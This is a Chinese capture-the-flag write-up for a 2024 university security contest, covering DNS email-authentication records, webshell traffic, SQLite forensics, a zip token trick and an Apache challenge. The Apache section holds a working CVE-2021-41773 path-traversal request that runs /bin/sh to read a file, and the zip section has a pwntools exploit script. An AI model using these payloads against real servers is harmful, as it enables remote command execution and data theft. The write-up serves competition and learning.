2024高校网络安全管理运维赛wp

文章目录

misc
- 签到
- 钓鱼邮件识别
- easyshell
- SecretDB
- Gateway
- zip
- Apache
- f for r
web
- phpsql
- Messy Mongo

misc

签到

钓鱼邮件识别

两部分解base64，各一个flag

后面没有什么地方有有用信息了，根据题目钓鱼邮件，可能第三段flag就跟DMARC、DKIM 和 SPF有关了什么是 DMARC、DKIM 和 SPF？ | Cloudflare (cloudflare-cn.com)

先看DKIM部分kmille/dkim-verify: Verifying a DKIM-Signature by hand (github.com)

解析一下主域名，得到提示有三段flag，估计就对应DMARC、DKIM 和 SPF三种方法了

照着里面所说构造DKIM的域名

default._domainkey.foobar-edu-cn.com

拿到第二段flag

_Kn0wH0wt0_

思路正确，接着照着文章分别构造DMARC跟SPF的域名

_dmarc.foobar-edu-cn.com
spf.foobar-edu-cn.com

拼一下

flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}}

easyshell

冰蝎默认密码

下载了加密的temp.zip

后一个

读了secret2.txt

下载下来明文攻击直接打

SecretDB

可以先用fqlite看一遍，大概就可以看出flag是根据sort排的，（当然这一步没有问题也不是很大）

定位到数据部分之后，一眼看到flag数据，接着就是顺序问题了

优先看g{，因为这俩在flag{uuid}显然只会出现一次。对比一下可以看出sort字段跟message字段就前后两字节的，人话：flag数据前一位就是对应顺序

往后再定位一下l，会发现他前面对应是0x0F，肯定有问题。（上两图是比赛时已经改过了的）

再看后面的4}ab6deb数据对比前面数据位置会发现偏移了一下，应该是l对应的sort字段被删了，手动补个0x02即可

with open('secret.db', 'rb') as f:
    data = f.read()[7879:8193]
    flag_dict = {}
    for i in range(0, len(data), 8):
        flag_dict[data[i]] = chr(data[i + 1])
flag = ''
for i in range(0, 42):
    if i not in flag_dict.keys():
        flag += '?'
    else:
        flag += flag_dict[i]
print(flag)

#?lag{f6291bf0-923c-4ba6??2d7-ffabba4e8f0b}

第一个?肯定是f不用管了，仔细核对原来数据发现还有个-也有一字节的偏移，位置对应是0x17即第二个问号的位置

因此可以得到，剩一个位置不知道

flag{f6291bf0-923c-4ba6-?2d7-ffabba4e8f0b}

搜0x18也没有找到后面跟着有效数据的，猜测该数据是被删除了，直接爆破flag即可，最终：

flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

Gateway

/cgi-bin/baseinfoSet.json里一眼密码

简单处理一下

a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
print(' '.join(a.split('&')))

预期解估计是

a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
for i in a.split('&'):
    tmp = chr(int(i))
    if tmp.isdigit():
        print(tmp,end='')
    else:
        print(chr(int(i)-4),end='')

2b题，下一道

zip

源码只比对了flag{，直接拿[del]去截断，注意zip和unzip部分token只需要发64位即可

from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'

r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())

r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())

exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()

Apache

apache版本2.4.49

源码

构造一下POST包，CVE-2021-41773直接打

import requests

exp = f'''
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 1.1.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Connection: close

echo;cat /flag
'''.replace('\n','\r\n')

url = r'https://prob01-2gnkdedc.contest.pku.edu.cn/nc'


data = f'''------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="port"

80
------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="data"

{exp}
------WebKitFormBoundaryaaaaa--
'''
head = {
    'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundaryaaaaa',
}
test = requests.post(url,data=data,headers=head).text
print(test)

f for r

GEEKCON 原题 https://qanux.github.io/2024/04/22/geek2024/index.html

from ctypes import (windll, wintypes, c_uint64, cast, POINTER, Union, c_ubyte,
                    LittleEndianStructure, byref, c_size_t)
import zlib
# types and flags
DELTA_FLAG_TYPE             = c_uint64
DELTA_FLAG_NONE             = 0x00000000
DELTA_APPLY_FLAG_ALLOW_PA19 = 0x00000001
# structures
class DELTA_INPUT(LittleEndianStructure):
    class U1(Union):
        _fields_ = [('lpcStart', wintypes.LPVOID),
                   ('lpStart', wintypes.LPVOID)]
    _anonymous_ = ('u1',)
    _fields_ = [('u1', U1),
               ('uSize', c_size_t),
               ('Editable', wintypes.BOOL)]
class DELTA_OUTPUT(LittleEndianStructure):
    _fields_ = [('lpStart', wintypes.LPVOID),
                ('uSize', c_size_t)]
# functions
ApplyDeltaB = windll.msdelta.ApplyDeltaB
ApplyDeltaB.argtypes = [DELTA_FLAG_TYPE, DELTA_INPUT, DELTA_INPUT,
                        POINTER(DELTA_OUTPUT)]
ApplyDeltaB.rettype = wintypes.BOOL
DeltaFree = windll.msdelta.DeltaFree
DeltaFree.argtypes = [wintypes.LPVOID]
DeltaFree.rettype = wintypes.BOOL
gle = windll.kernel32.GetLastError
def apply_patchfile_to_buffer(buf, buflen, patchpath, legacy):
    with open(patchpath, 'rb') as patch:
        patch_contents = patch.read()
    # most (all?) patches (Windows Update MSU) come with a CRC32 prepended to thefile
    # we don't really care if it is valid or not, we just need to remove it if itis there
    # we only need to calculate if the file starts with PA30 or PA19 and then hasPA30 or PA19 after it
    magic = [b"PA30"]
    if legacy:
        magic.append(b"PA19")
    if patch_contents[:4] in magic and patch_contents[4:][:4] in magic:
        # we have to validate and strip the crc instead of just stripping it
        crc = int.from_bytes(patch_contents[:4], 'little')
        if zlib.crc32(patch_contents[4:]) == crc:
            # crc is valid, strip it, else don't
            patch_contents = patch_contents[4:]
    elif patch_contents[4:][:4] in magic:
        # validate the header strip the CRC, we don't care about it
        patch_contents = patch_contents[4:]
    # check if there is just no CRC at all
    elif patch_contents[:4] not in magic:
        # this just isn't valid
        raise Exception("Patch file is invalid")
 
    applyflags = DELTA_APPLY_FLAG_ALLOW_PA19 if legacy else DELTA_FLAG_NONE
    dd = DELTA_INPUT()
    ds = DELTA_INPUT()
    dout = DELTA_OUTPUT()
    ds.lpcStart = buf
    ds.uSize = buflen
    ds.Editable = False
    dd.lpcStart = cast(patch_contents, wintypes.LPVOID)
    dd.uSize = len(patch_contents)
    dd.Editable = False

    status = ApplyDeltaB(applyflags, ds, dd, byref(dout))
    if status == 0:
        raise Exception("Patch {} failed with error {}".format(patchpath, gle()))
    return (dout.lpStart, dout.uSize)
if __name__ == '__main__':
    import sys
    import base64
    import hashlib
    import argparse
    ap = argparse.ArgumentParser()
    mode = ap.add_mutually_exclusive_group(required=True)
    output = ap.add_mutually_exclusive_group(required=True)
    mode.add_argument("-i", "--input-file",
                      help="File to patch (forward or reverse)")
    mode.add_argument("-n", "--null", action="store_true", default=False,
                      help="Create the output file from a null diff "
                           "(null diff must be the first one specified)")
    output.add_argument("-o", "--output-file",
                        help="Destination to write patched file to")
    output.add_argument("-d", "--dry-run", action="store_true",
                        help="Don't write patch, just see if it would patch"
                             "correctly and get the resulting hash")
    ap.add_argument("-l", "--legacy", action='store_true', default=False,
                    help="Let the API use the PA19 legacy API (if required)")
    ap.add_argument("patches", nargs='+', help="Patches to apply")
    args = ap.parse_args()
    if not args.dry_run and not args.output_file:
        print("Either specify -d or -o", file=sys.stderr)
        ap.print_help()
        sys.exit(1)
    if args.null:
        inbuf = b""
    else:
        with open(args.input_file, 'rb') as r:
            inbuf = r.read()
    buf = cast(inbuf, wintypes.LPVOID)
    n = len(inbuf)
    to_free = []
    try:
        for patch in args.patches:
            buf, n = apply_patchfile_to_buffer(buf, n, patch, args.legacy)
            to_free.append(buf)
        outbuf = bytes((c_ubyte*n).from_address(buf))
        if not args.dry_run:
            with open(args.output_file, 'wb') as w:
                w.write(outbuf)

    finally:
        for buf in to_free:
            DeltaFree(buf)
    finalhash = hashlib.sha256(outbuf)
    print("Applied {} patch{} successfully"
         .format(len(args.patches), "es" if len(args.patches) > 1 else ""))
    print("Final hash: {}"
         .format(base64.b64encode(finalhash.digest()).decode()))